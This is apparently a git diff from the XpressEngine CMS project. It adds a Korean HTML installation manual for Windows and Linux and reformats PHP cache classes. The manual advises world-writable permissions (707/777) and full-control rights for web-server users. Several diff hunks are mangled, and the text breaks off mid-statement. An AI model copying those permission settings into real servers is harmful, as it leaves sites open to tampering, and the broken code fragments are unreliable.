    WPI로 패키징된 XE는 1.4.0.5 버전입니다. 최신 버전의 XE를 설치하려면 APMsetup을 사용하거나, WPI를 사용해서 설치한 후에 XE core를 별도로 업데이트해야 합니다.

    +
    +
    +

    계정 설정

    +

    Windows 계열 서버에 XE를 설치하려면 서버에 접근할 수 있는 계정이 필요합니다. 서버 계정은 서버 관리자에게 문의하여 얻습니다. 서버를 직접 관리하는 경우에는 기존 계정을 사용하거나 새로운 계정을 생성하여 사용합니다.

    +

    계정 이름을 정하고 나면 계정 유형을 선택할 수 있습니다. 서버 보안을 유지하기 위해 가능하면 제한된 계정을 선택하여 해당 계정의 권한을 최소화하는 것을 권장합니다.

    +
    +
    +

    원격 데스크톱 연결

    +

    서버를 직접 조작할 수 없을 경우 원격에서 서버에 접속하여 조작할 수 있는 방법이 필요합니다. Windows 시스템은 다른 컴퓨터에 접속하여 조작할 수 있게 하는 '원격 데스크톱 연결' 프로그램을 제공합니다.

    +

    원격 데스크톱 연결을 사용하려면 서버의 도메인 주소나 IP 주소가 필요합니다. 이미 도메인 설정이 되어 있으면 설정된 도메인을 사용하여 접속하면 되지만, 그렇지 않은 경우 IP 주소를 사용해야 합니다. 서버의 IP 주소를 확인하고 원격 데스크톱 연결로 그 주소에 접속하는 방법은 다음과 같습니다.

    +
      +
    1. Windows 서버의 명령 프롬프트를 실행합니다.
    2. +
    3. ipconfig 명령어를 입력해서 서버의 IP 주소를 확인합니다. +
      CMD Prompt 화면
      +
    4. +
    5. 내 컴퓨터에서 시작 > 보조프로그램 > 원격 데스크톱 연결을 실행하거나, 명령 프롬프트에서 mstsc를 실행합니다.
    6. +
    7. 원격 데스크톱 연결 창이 나타나면 컴퓨터에 연결할 서버의 주소를 입력하고 연결을 클릭합니다. +
      원격 테스크톱 연결 창
      +
    8. +
    9. 서버의 계정과 암호를 입력하는 화면이 나타나면, "계정 설정"에서 생성한 계정 정보를 입력하여 서버에 로그인합니다.
    10. +
    +
    +
    +

    WPI 사용

    +

    WPI는 마이크로소프트 사에서 웹 플랫폼 제품을 편리하게 사용할 수 있도록 만든 도구입니다. 서버에 필요한 구성 요소나 웹 응용프로그램을 자동으로 설치 및 설정합니다.

    +

    WPI는 웹 응용프로그램을 설치할 때 그 웹 응용프로그램에 필요한 구성 요소를 한꺼번에 설치합니다. 따라서 WPI를 사용하여 XE를 설치할 때 XE 설치에 필요한 프로그램도 함께 설치됩니다.

    +

    마이크로소프트 웹 플랫폼 공식 사이트(http://www.microsoft.com/web/default.aspx)에서 WPI 실행기를 다운로드합니다.

    +

    WPI 실행기 실행 및 XE 설치 시작

    +
      +
    1. WPI 실행기를 실행하고, 웹 응용 프로그램 탭에서 콘텐츠 관리를 선택합니다.
    2. +
    3. 콘텐츠 관리 탭의 응용 프로그램 목록 중에서 XpressEngine을 찾아 선택하고 설치를 누릅니다. +
      콘텐츠 관리 탭
      +
    4. +
    5. XE core를 설치하기 위해 추가로 설치 및 설정되는 구성 요소 정보를 확인하고 동의함을 클릭하여 설치합니다.
    6. +
    +

    추가 구성 요소의 설치

    +

    추가로 설치되는 구성 요소 중에 MySQL DBMS가 포함되어 있으면 MySQL DBMS을 설치하면서 관리자 암호를 지정해야 합니다. 관리자 암호를 지정하는 화면이 나타나면 암호를 지정하고 계속을 클릭합니다.

    +
    참고 +

    WPI에서 MySQL 관리자 암호를 처음 지정할 때, 영소문자, 영대문자, 숫자, 기호가 모두 포함된 암호를 지정해야 합니다. MySQL 관리자 암호는 XE를 설치할 때 반드시 필요한 정보이므로 꼭 기억해 두어야 합니다.

    +
    +

    계정 설정이 완료되면 구성 요소가 설치됩니다.

    +

    XE 설치에 필요한 정보 입력

    +

    XE 설치에 필요한 구성 요소의 설치가 끝나면 XE 설치가 시작됩니다.

    +
      +
    1. 다음과 같이 XE를 설치할 사이트 정보를 입력하고 계속을 클릭합니다. +

      특별히 추가로 설정할 내용이 없다면 기본 설정을 그대로 사용합니다.

      +
      웹 플랫폼 설치 화면
      +
    2. +
    3. 다음과 같이 XE core 설치 정보를 입력하고 계속을 클릭합니다. +
      +
      데이터베이스:
      +
      XE에서 사용할 DBMS의 종류. 이 문서에서는 MySQL을 선택합니다.
      +
      새 데이터베이스 만들기 또는 기존 데이터베이스 사용:
      +
      기존의 데이터베이스를 사용하여 XE를 운영할 것인지, 새 데이터베이스를 사용할 것인지 선택. 가능하면 새 데이터베이스 만들기를 권장합니다.
      +
      데이터베이스 관리자:
      +
      선택된 DBMS의 관리자 ID. 이 문서에서 사용된 MySQL의 관리자 ID는 root입니다.
      +
      데이터베이스 관리자 암호:
      +
      선택된 DBMS의 관리자 암호. "추가 구성 요소의 설치"에서 지정한 MySQL 관리자 암호를 입력합니다.
      +
      데이터베이스 사용자 이름:
      +
      XE에서 데이터베이스에 접근할 때 사용할 사용자 이름
      +
      데이터베이스 암호:
      +
      XE에서 데이터베이스에 접근할 때 사용할 사용자 암호
      +
      데이터베이스 서버:
      +
      DBMS가 설치된 위치를 URL 형식으로 지정. 이 문서에서는 서버와 DBMS가 같은 컴퓨터에서 동작하므로 localhost를 입력합니다.
      +
      데이터베이스 이름:
      +
      XE에서 사용할 기존 혹은 새 데이터베이스의 이름
      +
      데이터베이스 테이블 접두사:
      +
      XE에서 생성한 테이블 이름에 사용할 머리말
      +
      XE 관리자 ID:
      +
      XE 관리자 ID
      +
      XE 관리자 이름:
      +
      XE 관리자 이름
      +
      XE 관리자 닉네임:
      +
      XE 관리자 계정의 별명
      +
      XE 관리자 패스워드:
      +
      XE 관리자 계정의 패스워드
      +
      XE 관리자 e-mail 주소:
      +
      XE 관리자 계정의 e-mail 주소
      +
      URL Rewrite 사용 여부:
      +
      mod_rewrite 사용 여부. 이 항목을 활성화하면 URL을 기억하기 쉽게 줄여서 사용할 수 있습니다.
      +
      GMT Timezone:
      +
      XE가 서비스할 지역의 표준시
      +
      +
    4. +
    +

    설치 확인

    +

    모든 설치 과정이 완료되면 웹 브라우저를 사용하여 사이트에 접속합니다. 정상적으로 설치가 완료되었으면 다음과 같은 화면이 나타납니다.

    +
    XE 설치 완료 화면 +
    XE 설치 완료 화면
    +
    +
    참고 +

    WPI를 사용해서 XE를 설치하면 최신 버전의 XE core가 설치되지 않습니다. XE core를 최신 버전으로 업데이트하려면 공식사이트에서 제공하는 XE core 최신 버전 파일을 다운로드해서 압축을 해제한 후 XE 설치 사이트 최상위 폴더(C:\Inetpub\wwwroot\xe)에 덮어 쓰도록 합니다.

    +
    +
    +
    +

    APMsetup 사용

    +

    APMsetup은 XE를 설치하는 데 필요한 구성 요소인 아파치 웹 서버, PHP, MySQL 데이터베이스를 한 번에 설치하고, 사용에 필요한 연동 설정을 자동으로 해 주는 프로그램입니다.

    +

    APMsetup 설치

    +

    다음과 같이 APMsetup을 설치합니다.

    +
      +
    1. APMsetup 공식 사이트(http://www.apmsetup.com)에서 최신 APMsetup 설치 파일을 다운로드합니다. 문서 작성 시점에 배포되어 있는 최신 버전은 APMsetup 7입니다.
    2. +
    3. 다운로드한 설치 파일을 실행합니다. 특별한 설정이 필요 없으면 기본 설정 상태로 설치를 진행하여 완료합니다. +
      참고 +

      APMsetup은 아파치 웹 서버를 설치할 때 포트 번호로 80을 사용하도록 설정합니다. 그러므로 시스템에 이미 포트 번호로 80을 사용하는 소프트웨어가 있을 경우에는 APMsetup을 정상적으로 설치할 수 없습니다.

      +
      +
    4. +
    5. http://localhost/로 접근해서 다음과 같은 페이지가 나타나는지 확인합니다. +
      localhost 화면
      +
    6. +
    +

    APMsetup 설정

    +

    APMsetup 설정에서는 DB root 계정 패스워드를 변경하고 새로운 계정을 생성합니다. 이 과정이 XE를 설치하는 데 필수 조건은 아니지만 서버 보안을 위해서 아래와 같이 설정하기를 권장합니다.

    +
      +
    1. 작업 표시줄에 있는 APMsetup의 아이콘(APM 트레이아이콘)을 마우스 오른쪽 버튼으로 클릭하고, APMsetup 설정 메뉴에서 MySQL root 패스워드 변경을 선택합니다. +
      APMsetup 아이콘 마우스 오른쪽 버튼으로 클릭
      +
    2. +
    3. 현재 MySQL root계정 패스워드에 초기 패스워드인 apmsetup을 입력하고, 새 패스워드를 입력한 후 MySQL root계정 패스워드 변경을 클릭합니다. +
      참고 +

      이 문서는 APMsetup 7을 기준으로 설명합니다. 초기 패스워드가 apmsetup이 아니면 APMsetup 공식 사이트에서 설치하고 있는 APMsetup 버전의 초기 패스워드를 확인하시기 바랍니다.

      +
      +
    4. +
    5. XE를 설치할 때 사용할 새로운 데이터베이스 계정과 데이터베이스를 생성하기 위해 APMsetup 설정 메뉴에서 MySQL 신규 계정 생성을 선택합니다.
    6. +
    7. MySQL 계정 생성 창이 나타나면 계정 생성 정보를 입력하고 신규 계정 생성을 클릭합니다. +

      현재 MySQL root계정 패스워드에 변경한 MySQL 관리자 패스워드를 입력하고, 생성할 MySQL 계정 아이와 패스워드, 디비명에 사용자가 원하는 값을 입력합니다. 연결 문자 집합과 정렬은 기본값을 그대로 사용합니다.

      +
      참고 +

      새로 생성할 MySQL 계정과 패스워드, 데이터베이스 이름은 XE를 설치하는 데 필요한 정보이므로 꼭 기억해 두어야 합니다.

      +
      +
    8. +
    +

    XE core 설치 파일 압축 해제

    +

    \APM_setup\htdocs에 XE core 최신 설치 파일의 압축을 해제합니다.

    +

    압축 해제가 완료되면 xe 디렉터리가 생성된 것을 확인할 수 있습니다. 도메인 경로로 웹 페이지에 접근하려면 생성된 xe 디렉터리 하위 내용을 최상위 디렉터리로 이동시킵니다.

    +

    이제 "XE core 설치"를 참조해서 XE core를 설치합니다.

    +
    +
    +
    +

    Linux 환경 설정

    +

    이 절에서는 Linux 서버를 사용하여 XE를 설치할 때 필요한 기본 정보를 설명합니다.

    +
    +

    계정 설정

    +

    XE를 설치하기 위해서는 서버에 접근할 수 있는 계정과 XE 정보가 저장되는 데이터베이스의 계정이 필요합니다. 다음과 같이 서버와 데이터베이스 계정을 확인합니다.

    +
      +
    1. 서버에 관리자 계정으로 로그인한 후 useradd 명령어를 사용해서 사용자 계정을 생성합니다. useradd 명령어의 자세한 사용법은 "계정 생성 명령어 - useradd"를 참조하십시오. +

      단, 웹 호스팅 업체에서 제공받은 서버라면 해당 업체에 문의하여 계정을 확인합니다.

      +
    2. +
    3. XE 설치 및 운영에 필요한 모든 정보가 저장될 데이터베이스의 계정 정보를 확인합니다. 사용 중인 DBMS 계정 생성 및 확인 방법은 공식 사이트를 참고하시기 바랍니다. +
      +
      CUBRID 공식 사이트
      +
      http://www.cubrid.com/zbxe/home
      +
      Firebird 공식 사이트
      +
      http://www.firebirdsql.org/
      +
      MySQL 공식 사이트
      +
      http://www.MySQL.com/
      +
      PostgreSQL 공식 사이트
      +
      http://www.postgresql.org/
      +
      SQLite 공식 사이트
      +
      http://www.sqlite.org/
      +
      MS SQL 서버 공식 사이트
      +
      http://www.microsoft.com/korea/sqlserver/2008/default.aspx
      +
      +
    4. +
    +
    +
    +

    PuTTY 사용

    +

    서버에 접근하기 위해서 PuTTY(퍼티)라는 원격 접속 프로그램을 사용합니다. PuTTY는 telnet이나 SSH(Secure Shell) 프로토콜을 지원하는 서버에서만 사용할 수 있습니다.

    +

    PuTTY 프로그램의 설치 및 사용 방법은 다음과 같습니다.

    +
      +
    1. KLDP 한글 iPuTTY 프로젝트(http://www.kldp.net/projects/iputty/download)에서 설치 파일을 다운로드해서 설치합니다. +
      참고 +

      PuTTY 공식 사이트(http://www.putty.nl/)에서 다운로드한 프로그램은 한글이 지원되지 않으므로, 위의 사이트에서 설치 파일을 다운로드하기를 권장합니다.

      +
      +
    2. +
    3. PuTTY 실행 화면에서 Host Name에 서버 주소를 입력하고 창 아래쪽의 열기를 클릭합니다.
    4. +
    5. 로그인 화면이 나타나면 아이디와 비밀번호를 차례대로 입력합니다. +

      비밀번호를 입력할 때 화면에 변화가 없어서 입력 내용을 확인할 수는 없지만, 비밀번호를 올바로 입력하고 엔터 키를 누르면 인증 성공/실패 여부가 나타납니다.

      +
      CMD Prompt 화면 +
      PuTTY 로그인 화면
      +
      +
    6. +
    +
    +
    +

    XE core 설치 파일 업로드

    +

    내 컴퓨터에 저장된 파일을 웹 서버에 업로드하려면 FTP(File Transfer Protocol) 프로그램이 필요합니다. 이 문서에서는 FileZilla라는 무료 공개 프로그램을 사용합니다. FileZilla는 FileZilla 공식 사이트(http://filezilla-project.org/download.php?type=client)에서 다운로드할 수 있습니다.

    +

    FileZilla를 사용해서 XE가 설치될 서버에 접속하여 파일을 업로드합니다.

    +
    +
    호스트:
    +
    서버 도메인 주소 또는 IP주소
    +
    사용자명:
    +
    서버 접근 권한이 있는 계정. 위에서 설명한 PuTTY로 서버에 접속할 때 사용한 계정을 입력합니다.
    +
    비밀번호:
    +
    계정 비밀번호
    +
    포트:
    +
    접근 서버의 FTP 포트 번호. 일반적으로 21을 사용합니다. 서버 관리자가 FTP 포트 번호를 변경할 수 있으므로, 접속이 되지 않으면 접근 서버의 FTP 포트 번호를 다시 한 번 확인하십시오.
    +
    +
    FileZilla 실행 후 서버 접속 성공 화면 +
    FileZilla 실행 후 서버 접속 성공 화면
    +
    +
    +
    +
    +

    XE core 설치 파일 형식별 업로드 방법

    +

    웹 서버에 XE core 파일을 업로드하는 방법에는 두 가지가 있습니다.

    +
      +
    • zip 파일을 다운로드해서 압축을 해제한 후 서버에 업로드
    • +
    • tgz 파일을 다운로드해서 서버에 업로드한 후 압축 해제
    • +
    +

    두 가지 방법 중 편한 방법을 선택해서 사용합니다.

    +
    +

    압축 해제 후 파일 업로드

    +
      +
    1. 확장자가 zip인 XE core 설치 파일을 내 컴퓨터에 다운로드해서 압축을 해제합니다.
    2. +
    3. FileZilla를 사용해서 압축이 해제되어 생성된 xe 디렉터리에 포함된 파일을 서버에 업로드합니다.
    4. +
    +
    참고 +

    XE core 파일은 서버의 root 디렉터리에 업로드합니다. 예를 들어, manual.xpressengine.com 서버의 root 디렉터리에 xe 디렉터리를 업로드하면, manual.xpressengine.com/xe로 접근해야 합니다.

    +
    +
    +
    +

    파일 업로드 후 압축 해제

    +

    Windows 환경에서는 파일을 업로드한 후 설치된 압축 프로그램을 사용하여 압축을 해제합니다.

    +

    Linux 환경에서는 다음과 같이 파일을 업로드한 후 압축을 해제합니다.

    +
      +
    1. 확장자가 tgz인 XE core 설치 파일을 내 컴퓨터에 다운로드해서 서버에 업로드합니다.
    2. +
    3. PuTTY를 실행해서 서버에 접속한 후 root 디렉터리로 이동합니다.
    4. +
    5. ls 명령어를 입력해서 xe.x.x.x.tgz 파일이 업로드되었는지 확인합니다.
    6. +
    7. tar 명령어를 이용하여 tgz 파일의 압축을 해제합니다. +
      CMD Prompt 화면
      +
    8. +
    9. mv 명령어를 사용해서 생성된 xe 디렉터리의 하위 내용을 root 디렉터리로 옮깁니다. 그러면 도메인 경로로 웹 페이지에 접근할 수 있습니다. +

      mv xe/* .

      +

      이때, 명령어 마지막의 점(.)을 빠트리지 않도록 주의합니다.
      + .htaccess 파일은 '*'로 옮겨지지 않을 수 있으므로 아래와 같이 한번더 합니다. '.htaccess' 파일은 짧은주소를 사용하기 위해 필요합니다.

      +

      mv xe/.htaccess .

      +
      CMD Prompt 화면
      +
    10. +
    11. 이미 xe.x.x.x.tgz 파일의 압축을 해제하고 xe 디렉터리 내용을 모두 이동시켰으므로, rm 명령어를 사용해서 xe.x.x.x.tgz 파일과 xe 디렉터리를 삭제합니다. +
      참고 +

      Linux 명령어에 대한 자세한 설명은 "Linux 명령어"를 참조하십시오.

      +
      +
    12. +
    +
    +
    +
    +

    Linux 명령어

    +
    +

    파일 압축 및 해제 명령어 - tar

    +
    +
    사용 형식:
    +
    tar <Operation> [Options] (디렉터리 경로 또는 압축파일 경로)
    +
    +

    <Operation>

    +
    +
    [-]A:
    +
    압축 파일에 tar 파일 추가
    +
    [-]c:
    +
    tar 파일 생성
    +
    [-]d:
    +
    압축 파일과 비교할 때 사용. tar 파일과 해당 파일 시스템의 차이점을 확인할 때 사용
    +
    [-]r:
    +
    압축 파일의 끝부분에 파일 추가
    +
    [-]t:
    +
    압축 파일의 목록 확인
    +
    [-]u:
    +
    이미 압축되어 있는 파일보다 더 새로운 파일일 때 추가
    +
    [-]x:
    +
    압축 파일의 압축 해제
    +
    --delete:
    +
    압축 파일에서 파일 삭제
    +
    +

    <Common Options>

    +
    +
    -C:
    +
    압축 파일을 해제할 위치 지정
    +
    -f:
    +
    파일 이름 지정
    +
    -j:
    +
    bzip2로 압축 또는 압축 해제
    +
    -p:
    +
    tar 파일을 생성하거나 압축을 해제할 때 원본 파일의 속성(권한, 디렉터리 소유자 등의 속성 정보)을 그대로 유지
    +
    -v:
    +
    압축하거나 해제할 때 과정을 자세히 출력
    +
    -z:
    +
    gzip으로 압축이나 압축 해제를 한꺼번에 하려고 할 때 사용
    +
    +
    +
    +

    파일 및 디렉터리 삭제 명령어 - rm

    +
    +
    사용 형식:
    +
    rm [Option] (파일 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]f:
    +
    삭제할 파일을 추가 확인 없이 강제로 삭제
    +
    [-]r:
    +
    디렉터리와 하위 디렉터리 및 파일을 모두 삭제
    +
    [-]v:
    +
    삭제하고 있는 파일의 정보 출력
    +
    +
    +
    +

    파일 및 디렉터리 이동 명령어 - mv

    +
    +
    사용 형식:
    +
    mv [option] (파일 또는 디렉터리 경로) (파일 이름 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]b:
    +
    대상 파일이 있는 경우 덮어 쓰기 전 백업 파일 생성
    +
    [-]f:
    +
    대상 파일이 있는 경우 강제로 덮어 씀
    +
    [-]u:
    +
    대상 파일이 있는 경우 대상 내용이 최신일 때만 덮어 씀
    +
    [-]v:
    +
    파일 이동 과정 출력
    +
    +
    +
    +

    디렉터리 생성 명령어 - mkdir

    +
    +
    사용 형식:
    +
    mkdir [Option] (디렉터리 이름)
    +
    +

    [Option]

    +
    +
    [-]p:
    +
    최종 디렉터리 이름의 상위 디렉터리가 없으면 상위 디렉터리까지 모두 생성
    +
    +
    +
    +

    파일 및 디렉터리 권한 변경 명령어 - chmod

    +
    +
    사용 형식:
    +
    chmod [Option] <mode> (파일 또는 디렉터리 경로)
    +
    +

    [Option]

    +
    +
    [-]c:
    +
    실제로 파일의 권한이 바뀐 파일만 출력
    +
    [-]f:
    +
    파일의 권한을 변경할 수 없는 경우에 발생하는 오류 메시지를 출력하지 않고자 할 때 사용
    +
    [-]v:
    +
    변경된 권한에 대한 내용 출력
    +
    [-]R:
    +
    디렉터리와 파일의 권한을 모두 변경
    +
    +

    <mode>

    +

    파일 및 디렉터리가 가질 수 있는 권한은 r(read 읽기), w(write 쓰기), x(execute 실행) 이렇게 세 가지입니다. 각 권한은 아래 표와 같이 고유의 값을 가지며, 이 값을 더한 값으로 mode를 생성할 수 있습니다.

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    UserGroupOthers
    rwxrwxrwx
    400200100402010421
    700707
    +

    예를 들어, 모든 권한을 주려면 위의 값을 모두 더한 777을 mode로 사용합니다. 사용자는 모든 권한을 갖고, 그 외의 사용자들은 읽기와 실행권한만 주려면, mode를 755로 설정합니다.

    +
    +
    +

    계정 생성 명령어 - useradd

    +
    +
    사용형식:
    +
    useradd [Option] (계정이름)
    +
    +

    [Option]

    +
    +
    [-]u:
    +
    사용자 ID
    +
    [-]g:
    +
    그룹ID 또는 그룹 이름
    +
    [-]s:
    +
    사용되는 SHELL 정보
    +
    [-]d:
    +
    사용자 Home 디렉터리
    +
    +
    +
    +

    오류 처리

    +

    이 절에서는 XE를 설치 및 설정할 때 발생할 수 있는 오류와 해결 방법을 설명합니다.

    +
    +

    MySQL 최소 버전 오류

    +
    +
    오류 사항:
    +
    "XE cannot be installed under the version of MySQL 4.1. Current MySQL version is x.x.x-log" 메시지가 나타납니다.
    +
    원인:
    +
    MySQL 버전이 최소 지원 버전보다 낮은 경우 발생합니다.
    +
    해결 방법:
    +
    MySQL을 4.1 이상으로 업데이트합니다.
    +
    +
    +
    +

    DB 계정 정보 오류

    +
    +
    오류 사항:
    +
    "Access denied for user 'xxx'@'xxxx' (using password: YES) xxx" 메시지가 나타납니다.
    +
    원인:
    +
    DB 계정이 없거나, 비밀번호가 잘못되었거나, 연결하려는 데이터베이스에 대한 접근 권한이 없는 경우 발생합니다.
    +
    해결 방법:
    +
    계정 설정 및 접근 권한 정보, 입력한 데이터베이스 정보가 올바른지 확인합니다.
    +
    +
    +
    +

    XE 설치 시 권한 설정 누락 오류

    +
    권한 설정 누락 오류 화면 +
    권한 설정 누락 오류 화면
    +
    +
    +
    오류 사항:
    +
    "[필수] XE의 설치 경로 또는 ./files 디렉터리의 퍼미션이 707이어야 합니다." 메시지가 나타납니다.
    +
    원인:
    +
    XE 설치 경로에 files 디렉터리가 없는 경우 발생합니다.
    +
    해결 방법(Windows):
    +
    XE 설치 경로에 files 디렉터리가 있는지 확인합니다.
    +
    +

    Windows XP에서는 파일이나 폴더에 대한 권한을 별도로 설정할 필요 없이 XE를 설치할 수 있습니다. 단, Windows 7(IIS7)에서는 다음과 같이 IIS_IUSRS(그룹) 및 IUSRS(사용자)에게 권한을 부여해야 합니다.

    +
      +
    1. XE를 설치한 폴더(여기서는 C:\Inetpub\wwwroot\xe)에서 마우스 오른쪽 버튼을 클릭하여 나타난 컨텍스트 메뉴에서 속성을 선택합니다.
    2. +
    3. 폴더의 속성 창에서 보안 탭을 선택합니다.
    4. +
    5. 창 가운데의 편집을 클릭합니다.
    6. +
    7. 폴더의 사용 권한 창에서 그룹 또는 사용자 이름 목록 중에 IIS_IUSRS 그룹과 IUSR 사용자가 있는지 확인하고, 없으면 추가를 클릭합니다.
    8. +
    9. 사용자 또는 그룹 선택 창에서 선택할 개체 이름을 입력하십시오 아래에 IUSR를 입력하고, 이름 확인을 클릭한 후 확인을 클릭합니다.
    10. +
    11. 폴더의 사용 권한 창에서 다시 한 번 추가를 클릭합니다.
    12. +
    13. 사용자 또는 그룹 선택 창에서 이번에는 IIS_USRS를 입력하고, 이름 확인을 클릭한 후 확인을 클릭합니다.
    14. +
    15. 사용자와 그룹이 모두 추가되었으면 IUSR를 선택하고, 아래의 사용 권한 중 모든 권한에 허용을 클릭한 후 적용을 클릭합니다. +
      XE 의 사용권한
      +
    16. +
    17. IIS_IUSRS에도 동일하게 모든 권한을 적용하도록 설정합니다.
    18. +
      +
      해결 방법(Linux):
      +
      XE 설치 경로에 files 디렉터리가 있는지 확인합니다.
      +
      +

      Linux 환경에서는 files 디렉터리가 없으면 mkdir 명령어로 files 디렉터리를 생성하고, chmod 명령어를 이용하여 권한을 설정합니다.

      +
      CMD Prompt 화면
      +
    +
    +
    +

    쉬운 설치 진행 시 FTP 홈 디렉터리 설정 오류

    +
    +
    오류 사항:
    +
    "msg_make_directory_failed" 메시지가 나타납니다.
    +
    원인:
    +
    사이트 환경 설정의 '설치된 XE의 FTP경로 설정' 값이 잘못된 경우 발생합니다.
    +
    해결 방법:
    +
    설치된 XE의 절대 경로를 확인하여 값을 다시 설정합니다(XE의 절대 경로 끝에 반드시 '/'를 함께 표기해야 합니다).
    +
    +
    +
    +
    +
    + +
    +
    +
    + + + + diff --git a/admin/index.php b/admin/index.php index a9ee24778..1a6d787e3 100644 --- a/admin/index.php +++ b/admin/index.php @@ -1,2 +1,5 @@ valid_time; - return apc_store(md5(_XE_PATH_.$key), array(time(), $buff), $valid_time); + function put($key, $buff, $valid_time = 0) + { + if($valid_time == 0) + { + $valid_time = $this->valid_time; + } + + return apc_store(md5(_XE_PATH_ . $key), array(time(), $buff), $valid_time); } /** @@ -61,20 +74,25 @@ class CacheApc extends CacheBase { * * @param string $key Cache key * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, the data is invalid. + * If stored time is older then modified time, the data is invalid. * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function isValid($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = apc_fetch($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } unset($obj[1]); - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } - + return true; } @@ -83,15 +101,20 @@ class CacheApc extends CacheBase { * * @param string $key The $key used to store the value. * @param int $modified_time Unix time of data modified. - * If stored time is older then modified time, return false. + * If stored time is older then modified time, return false. * @return false|mixed Return false on failure or older then modified time. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { - $_key = md5(_XE_PATH_.$key); + function get($key, $modified_time = 0) + { + $_key = md5(_XE_PATH_ . $key); $obj = apc_fetch($_key, $success); - if(!$success || !is_array($obj)) return false; + if(!$success || !is_array($obj)) + { + return false; + } - if($modified_time > 0 && $modified_time > $obj[0]) { + if($modified_time > 0 && $modified_time > $obj[0]) + { $this->_delete($_key); return false; } @@ -105,8 +128,9 @@ class CacheApc extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { - $this->put($_key,null,1); + function _delete($_key) + { + $this->put($_key, null, 1); } /** @@ -115,7 +139,8 @@ class CacheApc extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { + function delete($key) + { $this->_delete($key); } @@ -124,10 +149,11 @@ class CacheApc extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { return apc_clear_cache('user'); } -} +} /* End of file CacheApc.class.php */ /* Location: ./classes/cache/CacheApc.class.php */ diff --git a/classes/cache/CacheFile.class.php b/classes/cache/CacheFile.class.php index bc3f11336..5e8b31dd7 100644 --- a/classes/cache/CacheFile.class.php +++ b/classes/cache/CacheFile.class.php @@ -1,12 +1,15 @@ cache_dir = _XE_PATH_ . $this->cache_dir; - if(!is_dir($this->cache_dir)) FileHandler::makeDir($this->cache_dir); + if(!is_dir($this->cache_dir)) + { + FileHandler::makeDir($this->cache_dir); + } } /** @@ -47,16 +56,18 @@ class CacheFile extends CacheBase { * @param string $key The key that will be associated with the item. * @return string Returns cache file path */ - function getCacheFileName($key){ + function getCacheFileName($key) + { return $this->cache_dir . str_replace(':', '_', $key); } - + /** * Return whether support or not support cache * * @return true */ - function isSupport(){ + function isSupport() + { return true; } @@ -68,8 +79,9 @@ class CacheFile extends CacheBase { * @param int $valid_time Not used * @return void */ - function put($key, $obj, $valid_time = 0){ - $cache_file = $this->getCacheFileName($key); + function put($key, $obj, $valid_time = 0) + { + $cache_file = $this->getCacheFileName($key); $text = serialize($obj); FileHandler::writeFile($cache_file, $text); } @@ -81,10 +93,14 @@ class CacheFile extends CacheBase { * @param int $modified_time Not used * @return bool Return true on valid or false on invalid. */ - function isValid($key, $modified_time = 0) { + function isValid($key, $modified_time = 0) + { $cache_file = $this->getCacheFileName($key); - if(file_exists($cache_file)) return true; - + if(file_exists($cache_file)) + { + return true; + } + return false; } @@ -95,11 +111,15 @@ class CacheFile extends CacheBase { * @param int $modified_time Not used * @return false|mixed Return false on failure. Return the string associated with the $key on success. */ - function get($key, $modified_time = 0) { + function get($key, $modified_time = 0) + { $cache_file = $this->getCacheFileName($key); $content = FileHandler::readFile($cache_file); - if(!$content) return false; - + if(!$content) + { + return false; + } + return unserialize($content); } @@ -109,7 +129,8 @@ class CacheFile extends CacheBase { * @param string $_key Used to store the value. * @return void */ - function _delete($_key) { + function _delete($_key) + { $cache_file = $this->getCacheFileName($_key); FileHandler::removeFile($cache_file); } @@ -120,7 +141,8 @@ class CacheFile extends CacheBase { * @param string $key Used to store the value. * @return void */ - function delete($key) { + function delete($key) + { $this->_delete($key); } @@ -129,10 +151,11 @@ class CacheFile extends CacheBase { * * @return bool Returns true on success or false on failure. */ - function truncate() { + function truncate() + { FileHandler::removeFilesInDir($this->cache_dir); } -} +} /* End of file CacheFile.class.php */ /* Location: ./classes/cache/CacheFile.class.php */ diff --git a/classes/cache/CacheHandler.class.php b/classes/cache/CacheHandler.class.php index 1fa0040ae..dc574b6e3 100644 --- a/classes/cache/CacheHandler.class.php +++ b/classes/cache/CacheHandler.class.php @@ -1,10 +1,13 @@ use_object_cache =='apc') $type = 'apc'; - else if(substr($info->use_object_cache,0,8)=='memcache'){ + function CacheHandler($target, $info = null, $always_use_file = false) + { + if(!$info) + { + $info = Context::getDBInfo(); + } + + if($info) + { + if($target == 'object') + { + if($info->use_object_cache == 'apc') + { + $type = 'apc'; + } + else if(substr($info->use_object_cache, 0, 8) == 'memcache') + { $type = 'memcache'; $url = $info->use_object_cache; - } else if($info->use_object_cache == 'wincache') $type = 'wincache'; - else if($info->use_object_cache =='file') $type = 'file'; - else if($always_use_file) $type = 'file'; - }else if($target == 'template'){ - if($info->use_template_cache =='apc') $type = 'apc'; - else if(substr($info->use_template_cache,0,8)=='memcache'){ + } + else if($info->use_object_cache == 'wincache') + { + $type = 'wincache'; + } + else if($info->use_object_cache == 'file') + { + $type = 'file'; + } + else if($always_use_file) + { + $type = 'file'; + } + } + else if($target == 'template') + { + if($info->use_template_cache == 'apc') + { + $type = 'apc'; + } + else if(substr($info->use_template_cache, 0, 8) == 'memcache') + { $type = 'memcache'; $url = $info->use_template_cache; - } else if($info->use_template_cache == 'wincache') $type = 'wincache'; + } + else if($info->use_template_cache == 'wincache') + { + $type = 'wincache'; + } } - if($type){ + if($type) + { $class = 'Cache' . ucfirst($type); include_once sprintf('%sclasses/cache/%s.class.php', _XE_PATH_, $class); - $this->handler = call_user_func(array($class,'getInstance'), $url); - $this->keyGroupVersions = $this->handler->get('key_group_versions', 0); - if(!$this->keyGroupVersions) { - $this->keyGroupVersions = array(); - $this->handler->put('key_group_versions', $this->keyGroupVersions, 0); - } + $this->handler = 